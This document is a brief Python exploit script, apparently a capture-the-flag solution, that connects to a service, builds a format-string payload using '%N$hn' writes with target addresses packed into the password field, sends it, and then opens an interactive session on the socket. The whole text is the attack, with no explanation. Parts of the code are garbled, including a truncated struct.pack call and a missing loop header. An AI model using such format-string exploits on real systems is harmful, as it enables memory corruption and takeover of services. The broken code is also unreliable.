#!/usr/bin/python import operator import struct import socket import telnetlib def readuntil(f, delim=': '): data = '' while not data.endswith(delim): data += f.read(1) return data def p(v): return struct.pack(' 0: if delta < 8: username += 'A' * delta else: username += '%' + str(delta) + 'x' username += '%' + str(index) + '$hn' index += 1 password += p(where) printed += delta assert '\0' not in username assert '\n' not in username assert '\n' not in password assert len(username) < 256 assert len(password) < 256 f.write(username + '\n') readuntil(f) f.write(password + '\n') t = telnetlib.Telnet() t.sock = s t.interact()